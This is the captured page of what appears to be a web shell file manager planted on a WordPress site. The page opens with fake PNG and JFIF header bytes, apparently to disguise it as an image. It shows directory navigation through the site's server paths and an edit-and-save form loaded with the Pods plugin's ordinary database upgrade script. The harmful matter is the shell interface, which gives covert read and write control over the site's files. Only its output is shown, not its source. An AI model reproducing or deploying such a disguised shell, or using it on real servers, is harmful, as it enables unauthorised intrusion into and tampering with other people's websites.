�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fvar%2F'>var</a>/<a href='?path=%2Fvar%2Fwww%2F'>www</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2F'>vhosts</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2F'>vsdma.at</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2F'>httpdocs</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2Fplugins%2Fpods%2F'>pods</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2Fplugins%2Fpods%2Fsql%2F'>sql</a>/</p><hr><h3>✏️ Editing: update-1.x.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php

// Don&#039;t load directly.
if ( ! defined( &#039;ABSPATH&#039; ) ) {
	die( &#039;-1&#039; );
}

// phpcs:ignoreFile WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound

/**
 * @package Pods\Upgrade
 */
global $wpdb;

if ( version_compare( $old_version, &#039;1.2.6&#039;, &#039;&lt;&#039; ) ) {
	// Add the &quot;required&quot; option
	pods_query( &#039;ALTER TABLE @wp_pod_fields ADD COLUMN required BOOL default 0 AFTER sister_field_id&#039; );

	// Add the &quot;label&quot; option
	pods_query( &#039;ALTER TABLE @wp_pod_fields ADD COLUMN label VARCHAR(32) AFTER name&#039; );

	// Fix table prefixes
	if ( ! empty( $table_prefix ) ) {
		$result = $wpdb-&gt;get_results( &quot;SHOW TABLES LIKE &#039;tbl_%&#039;&quot;, ARRAY_N );

		foreach ( $result as $row ) {
			pods_query( &quot;RENAME TABLE `{$row[0]}` TO `@wp_{$row[0]}`&quot; );
		}
	}

	// Change the &quot;post_type&quot; of all pod items
	$result = pods_query( &#039;SELECT id, name FROM @wp_pod_types&#039; );

	foreach ( $result as $row ) {
		$datatypes[ $row-&gt;id ] = $row-&gt;name;
	}

	$result = pods_query( &#039;SELECT post_id, datatype FROM @wp_pod&#039; );

	foreach ( $result as $row ) {
		$datatype = $datatypes[ $row-&gt;datatype ];

		pods_query( &quot;UPDATE @wp_posts SET post_type = &#039;$datatype&#039; WHERE ID = $row[0] LIMIT 1&quot; );
	}

	update_option( &#039;pods_version&#039;, &#039;126&#039; );
}//end if

if ( version_compare( $old_version, &#039;1.2.7&#039;, &#039;&lt;&#039; ) ) {
	// Add the &quot;comment&quot; option
	pods_query( &#039;ALTER TABLE @wp_pod_fields ADD COLUMN comment VARCHAR(128) AFTER label&#039; );

	update_option( &#039;pods_version&#039;, &#039;127&#039; );
}

if ( version_compare( $old_version, &#039;1.3.1&#039;, &#039;&lt;&#039; ) ) {
	$result = $wpdb-&gt;get_results( &quot;SHOW TABLES LIKE &#039;{$wpdb-&gt;prefix}tbl_%&#039;&quot;, ARRAY_N );

	foreach ( $result as $row ) {
		$rename = explode( &#039;tbl_&#039;, $row[0] );
		pods_query( &quot;RENAME TABLE `{$row[0]}` TO `@wp_pod_tbl_{$rename[1]}`&quot; );
	}

	update_option( &#039;pods_version&#039;, &#039;131&#039; );
}

if ( version_compare( $old_version, &#039;1.3.2&#039;, &#039;&lt;&#039; ) ) {
	pods_query( &quot;UPDATE @wp_pod_pages SET phpcode = CONCAT(&#039;&lt;&quot; . &#039;?&#039; . &quot;php\n&#039;, phpcode) WHERE phpcode NOT LIKE &#039;&quot; . &#039;?&#039; . &quot;&gt;%&#039;&quot; );
	pods_query( &quot;UPDATE @wp_pod_pages SET phpcode = SUBSTR(phpcode, 3) WHERE phpcode LIKE &#039;&quot; . &#039;?&#039; . &quot;&gt;%&#039;&quot; );
	pods_query( &quot;UPDATE @wp_pod_widgets SET phpcode = CONCAT(&#039;&lt;&quot; . &#039;?&#039; . &quot;php\n&#039;, phpcode) WHERE phpcode NOT LIKE &#039;&quot; . &#039;?&#039; . &quot;&gt;%&#039;&quot; );
	pods_query( &quot;UPDATE @wp_pod_widgets SET phpcode = SUBSTR(phpcode, 3) WHERE phpcode LIKE &#039;&quot; . &#039;?&#039; . &quot;&gt;%&#039;&quot; );

	update_option( &#039;pods_version&#039;, &#039;132&#039; );
}

if ( version_compare( $old_version, &#039;1.4.3&#039;, &#039;&lt;&#039; ) ) {
	$result = pods_query( &quot;SHOW COLUMNS FROM @wp_pod_types LIKE &#039;description&#039;&quot; );

	if ( 0 &lt; count( $result ) ) {
		pods_query( &#039;ALTER TABLE @wp_pod_types CHANGE description label VARCHAR(32)&#039; );
	}

	pods_query( &#039;ALTER TABLE @wp_pod_types ADD COLUMN is_toplevel BOOL default 0 AFTER label&#039; );

	update_option( &#039;pods_version&#039;, &#039;143&#039; );
}

if ( version_compare( $old_version, &#039;1.4.5&#039;, &#039;&lt;&#039; ) ) {
	pods_query( &#039;ALTER TABLE @wp_pod_pages ADD COLUMN title VARCHAR(128) AFTER uri&#039; );

	$sql = &#039;
        CREATE TABLE @wp_pod_menu (
            id INT unsigned auto_increment primary key,
            uri VARCHAR(128),
            title VARCHAR(128),
            lft INT unsigned,
            rgt INT unsigned,
            weight TINYINT unsigned default 0)&#039;;
	pods_query( $sql );

	pods_query( &quot;INSERT INTO @wp_pod_menu (uri, title, lft, rgt) VALUES (&#039;/&#039;, &#039;Home&#039;, 1, 2)&quot; );

	update_option( &#039;pods_version&#039;, &#039;145&#039; );
}

if ( version_compare( $old_version, &#039;1.4.8&#039;, &#039;&lt;&#039; ) ) {
	add_option( &#039;pods_roles&#039; );

	update_option( &#039;pods_version&#039;, &#039;148&#039; );
}

if ( version_compare( $old_version, &#039;1.4.9&#039;, &#039;&lt;&#039; ) ) {
	pods_query( &#039;RENAME TABLE @wp_pod_widgets TO @wp_pod_helpers&#039; );

	update_option( &#039;pods_version&#039;, &#039;149&#039; );
}

if ( version_compare( $old_version, &#039;1.5&#039;, &#039;&lt;&#039; ) ) {
	pods_query( &#039;ALTER TABLE @wp_pod_fields ADD COLUMN `unique` BOOL default 0 AFTER required&#039; );
	pods_query( &#039;ALTER TABLE @wp_pod_fields ADD COLUMN `multiple` BOOL default 0 AFTER `unique`&#039; );
	pods_query( &#039;ALTER TABLE @wp_pod_pages ADD COLUMN page_template VARCHAR(128) AFTER phpcode&#039; );
	pods_query( &#039;ALTER TABLE @wp_pod_helpers ADD COLUMN helper_type VARCHAR(16) AFTER name&#039; );
	pods_query( &#039;ALTER TABLE @wp_pod ADD COLUMN name VARCHAR(128) AFTER datatype&#039; );
	pods_query( &#039;ALTER TABLE @wp_pod ADD COLUMN created VARCHAR(128) AFTER name&#039; );
	pods_query( &#039;ALTER TABLE @wp_pod ADD COLUMN modified VARCHAR(128) AFTER created&#039; );
	pods_query( &#039;ALTER TABLE @wp_pod CHANGE row_id tbl_row_id INT unsigned&#039; );
	pods_query( &#039;ALTER TABLE @wp_pod_rel CHANGE term_id tbl_row_id INT unsigned&#039; );
	pods_query( &#039;ALTER TABLE @wp_pod_rel CHANGE post_id pod_id INT unsigned&#039; );
	pods_query( &#039;ALTER TABLE @wp_pod_rel CHANGE sister_post_id sister_pod_id INT unsigned&#039; );

	// Make all pick columns &quot;multiple&quot; for consistency
	pods_query( &quot;UPDATE @wp_pod_fields SET `multiple` = 1 WHERE coltype = &#039;pick&#039;&quot; );

	// Use &quot;display&quot; as the default helper type
	pods_query( &quot;UPDATE @wp_pod_helpers SET helper_type = &#039;display&#039;&quot; );

	// Replace all post_ids with its associated pod_id
	$sql = &#039;
    SELECT
        p.id, p.post_id, r.post_title AS name, r.post_date AS created, r.post_modified AS modified
    FROM
        @wp_pod p
    INNER JOIN
        @wp_posts r ON r.ID = p.post_id
    &#039;;

	$result = pods_query( $sql );

	foreach ( $result as $row ) {
		$row = get_object_vars( $row );

		foreach ( $row as $key =&gt; $val ) {
			${$key} = pods_sanitize( trim( $val ) );
		}

		$posts_to_delete[]       = $post_id;
		$all_pod_ids[ $post_id ] = $id;

		pods_query( &quot;UPDATE @wp_pod SET name = &#039;$name&#039;, created = &#039;$created&#039;, modified = &#039;$modified&#039; WHERE id = $id LIMIT 1&quot; );
	}

	// Replace post_id with pod_id
	$result = pods_query( &#039;SELECT id, pod_id, sister_pod_id FROM @wp_pod_rel&#039; );

	foreach ( $result as $row ) {
		$id                = $row-&gt;id;
		$new_pod_id        = $all_pod_ids[ $row-&gt;pod_id ];
		$new_sister_pod_id = $all_pod_ids[ $row-&gt;sister_pod_id ];

		pods_query( &quot;UPDATE @wp_pod_rel SET pod_id = &#039;$new_pod_id&#039;, sister_pod_id = &#039;$new_sister_pod_id&#039; WHERE id = &#039;$id&#039; LIMIT 1&quot; );
	}

	$posts_to_delete = implode( &#039;,&#039;, $posts_to_delete );

	// Remove all traces from wp_posts
	pods_query( &#039;ALTER TABLE @wp_pod DROP COLUMN post_id&#039; );
	pods_query( &quot;DELETE FROM @wp_posts WHERE ID IN ($posts_to_delete)&quot; );

	update_option( &#039;pods_version&#039;, &#039;150&#039; );
}//end if

if ( version_compare( $old_version, &#039;1.5.1&#039;, &#039;&lt;&#039; ) ) {
	pods_query( &#039;ALTER TABLE @wp_pod_fields ADD COLUMN helper VARCHAR(32) AFTER label&#039; );
	pods_query( &#039;ALTER TABLE @wp_pod_types ADD COLUMN before_helpers TEXT AFTER tpl_list&#039; );
	pods_query( &#039;ALTER TABLE @wp_pod_types ADD COLUMN after_helpers TEXT AFTER before_helpers&#039; );

	update_option( &#039;pods_version&#039;, &#039;151&#039; );
}

if ( version_compare( $old_version, &#039;1.6.0&#039;, &#039;&lt;&#039; ) ) {
	// Add the &quot;templates&quot; table
	$sql = &#039;
    CREATE TABLE IF NOT EXISTS @wp_pod_templates (
        id INT unsigned auto_increment primary key,
        name VARCHAR(32),
        code TEXT)&#039;;
	pods_query( $sql );

	// Add list and detail template presets
	$tpl_list   = &#039;&lt;p&gt;&lt;a href=&quot;{@detail_url}&quot;&gt;{@name}&lt;/a&gt;&lt;/p&gt;&#039;;
	$tpl_detail = &quot;&lt;h2&gt;{@name}&lt;/h2&gt;\n{@body}&quot;;
	pods_query( &quot;INSERT INTO @wp_pod_templates (name, code) VALUES (&#039;detail&#039;, &#039;$tpl_detail&#039;),(&#039;list&#039;, &#039;$tpl_list&#039;)&quot; );

	// Try to route old templates as best as possible
	$result = pods_query( &#039;SELECT name, tpl_detail, tpl_list FROM @wp_pod_types&#039; );

	foreach ( $result as $row ) {
		// Create the new template, e.g. &quot;dtname_list&quot; or &quot;dtname_detail&quot;
		$row = pods_sanitize( $row );

		pods_query( &quot;INSERT INTO @wp_pod_templates (name, code) VALUES (&#039;{$row-&gt;name}_detail&#039;, &#039;{$row-&gt;tpl_detail}&#039;),(&#039;{$row-&gt;name}_list&#039;, &#039;{$row-&gt;tpl_list}&#039;)&quot; );
	}

	// Drop the &quot;tpl_detail&quot; and &quot;tpl_list&quot; columns
	pods_query( &#039;ALTER TABLE @wp_pod_types DROP COLUMN tpl_detail, DROP COLUMN tpl_list&#039; );

	// Add the &quot;pick_filter&quot; column
	pods_query( &#039;ALTER TABLE @wp_pod_fields ADD COLUMN pick_filter VARCHAR(128) AFTER pickval&#039; );

	update_option( &#039;pods_version&#039;, &#039;160&#039; );
}//end if

if ( version_compare( $old_version, &#039;1.6.2&#039;, &#039;&lt;&#039; ) ) {
	// Remove all beginning and ending slashes from Pod Pages
	pods_query( &quot;UPDATE @wp_pod_pages SET uri = TRIM(BOTH &#039;/&#039; FROM uri)&quot; );

	update_option( &#039;pods_version&#039;, &#039;162&#039; );
}

if ( version_compare( $old_version, &#039;1.6.4&#039;, &#039;&lt;&#039; ) ) {
	pods_query( &#039;ALTER TABLE @wp_pod_fields ADD COLUMN pick_orderby TEXT AFTER pick_filter&#039; );
	pods_query( &#039;ALTER TABLE @wp_pod_fields CHANGE helper display_helper TEXT&#039; );
	pods_query( &#039;ALTER TABLE @wp_pod_fields ADD COLUMN input_helper TEXT AFTER display_helper&#039; );

	update_option( &#039;pods_version&#039;, &#039;164&#039; );
}

if ( version_compare( $old_version, &#039;1.6.7&#039;, &#039;&lt;&#039; ) ) {
	pods_query( &#039;ALTER TABLE @wp_pod_pages ADD COLUMN precode LONGTEXT AFTER phpcode&#039; );

	update_option( &#039;pods_version&#039;, &#039;167&#039; );
}

if ( version_compare( $old_version, &#039;1.7.3&#039;, &#039;&lt;&#039; ) ) {
	pods_query( &#039;ALTER TABLE @wp_pod_types ADD COLUMN detail_page VARCHAR(128) AFTER is_toplevel&#039; );

	update_option( &#039;pods_version&#039;, &#039;173&#039; );
}

if ( version_compare( $old_version, &#039;1.7.5&#039;, &#039;&lt;&#039; ) ) {
	if ( empty( $pods_roles ) &amp;&amp; ! is_array( $pods_roles ) ) {
		$pods_roles = pods_maybe_safely_unserialize( get_option( &#039;pods_roles&#039; ) );

		if ( ! is_array( $pods_roles ) ) {
			$pods_roles = array();
		}
	}

	if ( is_array( $pods_roles ) ) {
		foreach ( $pods_roles as $role =&gt; $privs ) {
			if ( in_array( &#039;manage_podpages&#039;, $privs, true ) ) {
				$pods_roles[ $role ][] = &#039;manage_pod_pages&#039;;

				unset( $pods_roles[ $role ][&#039;manage_podpages&#039;] );
			}
		}
	}

	delete_option( &#039;pods_roles&#039; );
	add_option( &#039;pods_roles&#039;, serialize( $pods_roles ) );

	update_option( &#039;pods_version&#039;, &#039;175&#039; );
}//end if

if ( version_compare( $old_version, &#039;1.7.6&#039;, &#039;&lt;&#039; ) ) {
	pods_query( &#039;ALTER TABLE @wp_pod_types CHANGE label label VARCHAR(128)&#039; );
	pods_query( &#039;ALTER TABLE @wp_pod_fields CHANGE label label VARCHAR(128)&#039; );

	$result = pods_query( &quot;SELECT f.id AS field_id, f.name AS field_name, f.datatype AS datatype_id, dt.name AS datatype FROM @wp_pod_fields AS f LEFT JOIN @wp_pod_types AS dt ON dt.id = f.datatype WHERE f.coltype=&#039;file&#039;&quot; );

	foreach ( $result as $row ) {
		$items   = pods_query( &quot;SELECT t.id AS tbl_row_id, t.{$row-&gt;field_name} AS file, p.id AS pod_id FROM @wp_pod_tbl_{$row-&gt;datatype} AS t LEFT JOIN @wp_pod AS p ON p.tbl_row_id = t.id AND p.datatype = {$row-&gt;datatype_id} WHERE t.{$row-&gt;field_name} != &#039;&#039; AND t.{$row-&gt;field_name} IS NOT NULL&quot; );
		$success = false;
		$rels    = array();

		foreach ( (array) $items as $item ) {
			$filename = (string) $item-&gt;file;

			if ( strpos( $filename, get_site_url() ) !== false &amp;&amp; 0 === strpos( $filename, get_site_url() ) ) {
				$filename = ltrim( $filename, get_site_url() );
			}

			$upload_dir = wp_upload_dir();

			if ( strpos( $filename, str_replace( get_site_url(), &#039;&#039;, $upload_dir[&#039;baseurl&#039;] ) ) === false ) {
				$success = false;

				break;
			}

			$file = str_replace( &#039;//&#039;, &#039;/&#039;, ( ABSPATH . $filename ) );

			$wp_filetype = wp_check_filetype( basename( $file ), null );

			$attachment = array(
				&#039;post_mime_type&#039; =&gt; $wp_filetype[&#039;type&#039;],
				&#039;post_title&#039;     =&gt; preg_replace( &#039;/\.[^.]+$/&#039;, &#039;&#039;, basename( $file ) ),
				&#039;guid&#039;           =&gt; str_replace( &#039;//wp-content/&#039;, &#039;/wp-content/&#039;, get_site_url() . $filename ),
				&#039;post_content&#039;   =&gt; &#039;&#039;,
				&#039;post_status&#039;    =&gt; &#039;inherit&#039;,
			);

			$attach_id = wp_insert_attachment( $attachment, $file, 0 );

			if ( $attach_id &gt; 0 ) {
				require_once ABSPATH . &#039;wp-admin&#039; . &#039;/includes/image.php&#039;;

				$attach_data = wp_generate_attachment_metadata( $attach_id, $file );

				wp_update_attachment_metadata( $attach_id, $attach_data );

				$sizes = array( &#039;thumb&#039;, &#039;medium&#039;, &#039;large&#039; );

				foreach ( $sizes as $size ) {
					image_downsize( $attach_id, $size );
				}

				$rels[] = array(
					&#039;pod_id&#039;     =&gt; $item-&gt;pod_id,
					&#039;tbl_row_id&#039; =&gt; $item-&gt;tbl_row_id,
					&#039;attach_id&#039;  =&gt; $attach_id,
					&#039;field_id&#039;   =&gt; $row-&gt;field_id,
				);

				$success = true;
			}//end if
		}//end foreach
		if ( false !== $success ) {
			foreach ( $rels as $rel ) {
				pods_query( &quot;INSERT INTO @wp_pod_rel (pod_id, field_id, tbl_row_id) VALUES({$rel[&#039;pod_id&#039;]}, {$rel[&#039;field_id&#039;]}, {$rel[&#039;attach_id&#039;]})&quot; );
			}

			pods_query( &quot;ALTER TABLE @wp_pod_tbl_{$row-&gt;datatype} DROP COLUMN {$row-&gt;field_name}&quot; );
		} else {
			pods_query( &quot;UPDATE @wp_pod_fields SET coltype = &#039;txt&#039; WHERE id = {$row-&gt;field_id}&quot; );
		}
	}//end foreach

	update_option( &#039;pods_version&#039;, &#039;176&#039; );
}//end if

if ( version_compare( $old_version, &#039;1.8.1&#039;, &#039;&lt;&#039; ) ) {
	pods_query( &#039;ALTER TABLE @wp_pod_rel ADD COLUMN weight SMALLINT unsigned AFTER tbl_row_id&#039; );
	pods_query( &#039;ALTER TABLE @wp_pod_types CHANGE before_helpers pre_save_helpers TEXT&#039; );
	pods_query( &#039;ALTER TABLE @wp_pod_types CHANGE after_helpers post_save_helpers TEXT&#039; );
	pods_query( &#039;ALTER TABLE @wp_pod_types ADD COLUMN pre_drop_helpers TEXT AFTER pre_save_helpers&#039; );
	pods_query( &#039;ALTER TABLE @wp_pod_types ADD COLUMN post_drop_helpers TEXT AFTER post_save_helpers&#039; );
	pods_query( &quot;UPDATE @wp_pod_helpers SET helper_type = &#039;pre_save&#039; WHERE helper_type = &#039;before&#039;&quot; );
	pods_query( &quot;UPDATE @wp_pod_helpers SET helper_type = &#039;post_save&#039; WHERE helper_type = &#039;after&#039;&quot; );

	update_option( &#039;pods_version&#039;, &#039;181&#039; );
}

if ( version_compare( $old_version, &#039;1.8.2&#039;, &#039;&lt;&#039; ) ) {
	pods_query( &#039;ALTER TABLE @wp_pod ADD COLUMN author_id INT unsigned AFTER modified&#039; );
	pods_query( &quot;UPDATE @wp_pod_fields SET pickval = &#039;wp_taxonomy&#039; WHERE pickval REGEXP &#039;^[0-9]+$&#039;&quot; );
	pods_query( &quot;UPDATE @wp_pod_menu SET uri = &#039;&lt;root&gt;&#039; WHERE uri = &#039;/&#039; LIMIT 1&quot; );

	// Remove beginning and trailing slashes
	$result = pods_query( &#039;SELECT id, uri FROM @wp_pod_menu&#039; );

	foreach ( $result as $row ) {
		$uri = preg_replace( &#039;@^([/]?)(.*?)([/]?)$@&#039;, &#039;$2&#039;, $row-&gt;uri );
		$uri = pods_sanitize( $uri );
		pods_query( &quot;UPDATE @wp_pod_menu SET uri = &#039;$uri&#039; WHERE id = {$row-&gt;id} LIMIT 1&quot; );
	}

	update_option( &#039;pods_version&#039;, &#039;182&#039; );
}

if ( version_compare( $old_version, &#039;1.9.0&#039;, &#039;&lt;&#039; ) ) {
	pods_query( &#039;ALTER TABLE @wp_pod_templates CHANGE `name` `name` VARCHAR(255)&#039; );
	pods_query( &#039;ALTER TABLE @wp_pod_helpers CHANGE `name` `name` VARCHAR(255)&#039; );
	pods_query( &#039;ALTER TABLE @wp_pod_fields CHANGE `comment` `comment` VARCHAR(255)&#039; );

	// Remove beginning and trailing slashes
	$result = pods_query( &#039;SELECT id, uri FROM @wp_pod_pages&#039; );

	foreach ( $result as $row ) {
		$uri = trim( $row-&gt;uri, &#039;/&#039; );
		$uri = pods_sanitize( $uri );
		pods_query( &quot;UPDATE @wp_pod_pages SET uri = &#039;$uri&#039; WHERE id = {$row-&gt;id} LIMIT 1&quot; );
	}

	update_option( &#039;pods_version&#039;, &#039;190&#039; );
}

if ( version_compare( $old_version, &#039;1.9.6&#039;, &#039;&lt;&#039; ) ) {
	add_option( &#039;pods_disable_file_browser&#039;, 0 );
	add_option( &#039;pods_files_require_login&#039;, 0 );
	add_option( &#039;pods_files_require_login_cap&#039;, &#039;upload_files&#039; );
	add_option( &#039;pods_disable_file_upload&#039;, 0 );
	add_option( &#039;pods_upload_require_login&#039;, 0 );
	add_option( &#039;pods_upload_require_login_cap&#039;, &#039;upload_files&#039; );

	update_option( &#039;pods_version&#039;, &#039;196&#039; );
}

if ( version_compare( $old_version, &#039;1.9.7&#039;, &#039;&lt;&#039; ) ) {
	pods_query( &#039;ALTER TABLE `@wp_pod` CHANGE `id` `id` BIGINT(15) UNSIGNED NOT NULL AUTO_INCREMENT&#039; );
	pods_query( &#039;ALTER TABLE `@wp_pod` CHANGE `tbl_row_id` `tbl_row_id` BIGINT(15) UNSIGNED NULL DEFAULT NULL&#039; );
	pods_query( &#039;ALTER TABLE `@wp_pod` CHANGE `author_id` `author_id` BIGINT(15) UNSIGNED NULL DEFAULT NULL&#039; );
	pods_query( &#039;ALTER TABLE `@wp_pod_rel` CHANGE `id` `id` BIGINT(20) UNSIGNED NOT NULL AUTO_INCREMENT&#039; );
	pods_query( &#039;ALTER TABLE `@wp_pod_rel` CHANGE `pod_id` `pod_id` BIGINT(15) UNSIGNED NULL DEFAULT NULL&#039; );
	pods_query( &#039;ALTER TABLE `@wp_pod_rel` CHANGE `sister_pod_id` `sister_pod_id` BIGINT(15) UNSIGNED NULL DEFAULT NULL&#039; );
	pods_query( &#039;ALTER TABLE `@wp_pod_rel` CHANGE `tbl_row_id` `tbl_row_id` BIGINT(15) UNSIGNED NULL DEFAULT NULL&#039; );
	pods_query( &quot;ALTER TABLE `@wp_pod_rel` CHANGE `weight` `weight` INT(10) UNSIGNED NULL DEFAULT &#039;0&#039;&quot; );

	update_option( &#039;pods_version&#039;, &#039;197&#039; );
}

if ( version_compare( $old_version, &#039;1.11&#039;, &#039;&lt;&#039; ) ) {
	pods_query( &#039;ALTER TABLE `@wp_pod` CHANGE `datatype` `datatype` INT(10) UNSIGNED NULL DEFAULT NULL&#039; );
	pods_query( &#039;ALTER TABLE `@wp_pod` DROP INDEX `datatype_idx`&#039;, false );
	pods_query( &#039;ALTER TABLE `@wp_pod` ADD INDEX `datatype_row_idx` (`datatype`, `tbl_row_id`)&#039;, false );
	pods_query( &#039;ALTER TABLE `@wp_pod_rel` DROP INDEX `field_id_idx`&#039;, false );
	pods_query( &#039;ALTER TABLE `@wp_pod_rel` ADD INDEX `field_pod_idx` (`field_id`, `pod_id`)&#039;, false );
	pods_query( &#039;ALTER TABLE `@wp_pod_fields` CHANGE `datatype` `datatype` INT(10) UNSIGNED NULL DEFAULT NULL&#039; );
	$result = pods_query( &#039;SELECT id, name FROM @wp_pod_types&#039; );
	foreach ( $result as $row ) {
		$pod = pods_sanitize( $row-&gt;name );
		pods_query( &quot;ALTER TABLE `@wp_pod_tbl_{$pod}` CHANGE `id` `id` BIGINT(15) UNSIGNED NOT NULL AUTO_INCREMENT&quot; );
	}
	update_option( &#039;pods_version&#039;, &#039;001011000&#039; );
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2Fplugins%2Fpods%2Fsql'>🔙 Back</a></p>